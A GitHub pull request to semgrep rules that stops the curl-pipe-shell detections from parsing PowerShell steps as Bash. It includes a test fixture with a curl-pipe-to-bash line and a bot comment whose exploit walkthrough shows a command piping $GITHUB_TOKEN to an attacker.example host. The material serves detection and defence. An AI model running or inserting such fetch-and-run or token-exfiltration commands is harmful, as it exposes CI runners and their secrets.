Skip to content

fix(gha): skip non-bash shells in curl nested-bash rules - #4005

Open
l46983284-cpu wants to merge 1 commit into
semgrep:developfrom
l46983284-cpu:fix/gha-curl-rules-skip-non-bash-shells
Open

fix(gha): skip non-bash shells in curl nested-bash rules#4005
l46983284-cpu wants to merge 1 commit into
semgrep:developfrom
l46983284-cpu:fix/gha-curl-rules-skip-non-bash-shells

Conversation

@l46983284-cpu

Copy link
Copy Markdown

Summary

Fixes #4001 for curl-eval and gha-curl-pipe-shell.

Those rules always nested-parse every run: body as Bash. Explicit shell: pwsh / PowerShell steps then raise PartialParsing under --strict and can exit non-zero even when the step is not Bash.

Change

  • Only feed language: bash metavariable-pattern for default-shell steps (no shell: key) or explicit shell: bash / shell: sh
  • Use focus-metavariable: $SHELL so findings stay on the script body
  • Tests: PowerShell # ok repro from the issue + explicit bash # ruleid controls

Test plan

  • semgrep test yaml/github-actions/security (12/12)
  • Issue-style shell: pwsh workflow under --strict against both rules: 0 findings, no PartialParsing

Closes #4001

Restrict curl-eval and gha-curl-pipe-shell so language:bash
metavariable-pattern only runs on default-shell or bash/sh steps.
Avoids PartialParsing under --strict for explicit pwsh steps (semgrep#4001).

Signed-off-by: Alex Chen <l46983284@gmail.com>
@CLAassistant

CLAassistant commented Jul 16, 2026

Copy link
Copy Markdown

CLA assistant check
All committers have signed the CLA.

- name: explicit bash curl pipe still detected
shell: bash
# ruleid: gha-curl-pipe-shell
run: curl -fsSL https://example.com/install.sh | bash

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

curl downloads install.sh from example.com and pipes it directly into bash, so any attacker-controlled change to that URL runs on the CI runner immediately.

More details about this

This step downloads https://example.com/install.sh with curl -fsSL and sends the response straight into bash. If someone can change what that URL serves—through a compromised server, DNS hijack, or a tampered dependency endpoint—they can make your GitHub Actions runner execute their script immediately.

Plausible exploit path:

  1. An attacker gets control of https://example.com/install.sh or intercepts traffic to it.
  2. They replace the installer with a script such as echo $GITHUB_TOKEN | curl -X POST https://attacker.example/leak --data-binary @-.
  3. In this run: step, curl fetches that attacker-controlled content and the pipe sends it directly to bash.
  4. bash runs the script on the CI runner with the job's environment, letting the attacker read secrets, modify checked-out code, or use the workflow token to push changes or access other GitHub resources.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
run: curl -fsSL https://example.com/install.sh | bash
run: |
curl -fsSL https://example.com/install.sh -o /tmp/install.sh
# Replace the placeholder below with the vendor-published SHA-256 for the exact script/version being downloaded.
echo "<expected-sha256> /tmp/install.sh" | sha256sum -c -
bash /tmp/install.sh
View step-by-step instructions
  1. Replace the pipe-to-shell command with separate download, verification, and execution steps instead of curl ... | bash.
  2. Download the installer to a temporary file with curl -fsSL https://example.com/install.sh -o /tmp/install.sh or wget -q https://example.com/install.sh -O /tmp/install.sh.
  3. Verify the downloaded file before executing it, for example with a pinned checksum: echo "<expected-sha256> /tmp/install.sh" | sha256sum -c -.
    This prevents a modified remote script from being executed in the runner.
  4. Execute the local file only after verification succeeds, for example with bash /tmp/install.sh.
  5. If the vendor offers a versioned release artifact, prefer pinning that exact version in the URL and storing the matching checksum in the workflow or in a checked-in helper script, such as VERSION="1.2.3" and curl -fsSL "https://example.com/downloads/${VERSION}/install.sh" -o /tmp/install.sh.
  6. If this install logic is reused, move it into a checked-in script and keep the pinned VERSION and SHA256 together there, then call that script from the workflow instead of embedding curl ... | bash in run:.

Alternatively, if the vendor provides signed packages or native package manager support, install the tool from that trusted package source and verify the signature instead of executing a remote shell script.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by gha-curl-pipe-shell.

You can view more details about this finding in the Semgrep AppSec Platform.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

GitHub Actions curl rules parse explicit PowerShell steps as Bash

2 participants